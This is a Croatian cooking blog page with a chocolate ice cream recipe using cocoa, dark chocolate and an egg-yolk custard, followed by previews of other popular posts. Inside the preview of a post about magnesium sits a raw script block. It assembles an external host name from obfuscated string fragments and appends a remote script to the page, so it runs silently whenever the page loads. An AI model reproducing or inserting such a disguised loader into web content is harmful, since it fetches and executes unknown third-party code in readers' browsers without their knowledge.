DOMAĆI SLADOLED OD ČOKOLADE 🍫




Domaći sladoled od čokolade 



Ako volite intenzivni okus čokolade i kremastu teksturu sladoleda, ovaj recept vrijedi isprobati! Priprema nije komplicirana, iako traži nešto vremena zbog hlađenja i zamrzavanja, a rezultat je sladoled koji će očarati vaše nepce. Tajna je u kombinaciji kakaa i tamne čokolade, a recept potražite u nastavku.




Domaći sladoled od čokolade 


Sastojci:

  • 480 ml slatkog vrhnja, podijeljeno na dva dijela
  • 20–25 g nezaslađenog kakaa u prahu
  • 170 g poluslatke tamne čokolade, nasjeckane
  • 360 ml punomasnog mlijeka
  • 150 g šećera
  • prstohvat morske soli
  • 3 velika žumanjka
  • ½ žličice ekstrakta vanilije



Priprema:

U loncu pomiješajte 240 ml slatkog vrhnja i kakao u prahu. Zagrijavajte do vrenja, a zatim smanjite temperaturu i kuhajte još oko 30 sekundi uz neprestano miješanje.

Maknite s vatre pa dodajte nasjeckanu čokoladu. Miješajte pjenjačom dok se čokolada potpuno ne otopi i smjesa ne postane glatka. Umiješajte preostalih 240 ml slatkog vrhnja.

Smjesu prebacite u veću zdjelu, a preko nje stavite fino cjedilo, koje će kasnije poslužiti za procjeđivanje kreme.

U posebnoj zdjeli pjenjačom umutite žumanjke. U loncu na srednjoj temperaturi zagrijte mlijeko, šećer i prstohvat soli. Kada se mlijeko lagano zagrije, odvojite oko 120 ml i postupno ga ulijevajte u žumanjke uz neprestano miješanje. Tako ćete temperirati žumanjke i spriječiti njihovo zgrušavanje.

Smjesu mlijeka i žumanjaka zatim vratite u lonac s ostatkom mlijeka. Kuhajte na srednjoj temperaturi uz stalno miješanje lopaticom dok se krema ne zgusne toliko da lagano oblaže lopaticu.

Dobivenu kremu procijedite kroz pripremljeno cjedilo u zdjelu s čokoladnom smjesom. Dobro promiješajte, a zatim dodajte ekstrakt vanilije.

Pokrijte zdjelu i stavite je u hladnjak na najmanje šest sati, a idealno preko noći.

Ohlađenu smjesu prebacite u aparat za sladoled i miksajte oko 30 do 40 minuta, odnosno dok ne postane gusta i zamrznuta.

Gotov sladoled prebacite u posudu s poklopcem i stavite u zamrzivač na najmanje šest sati kako bi se potpuno stisnuo.



Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više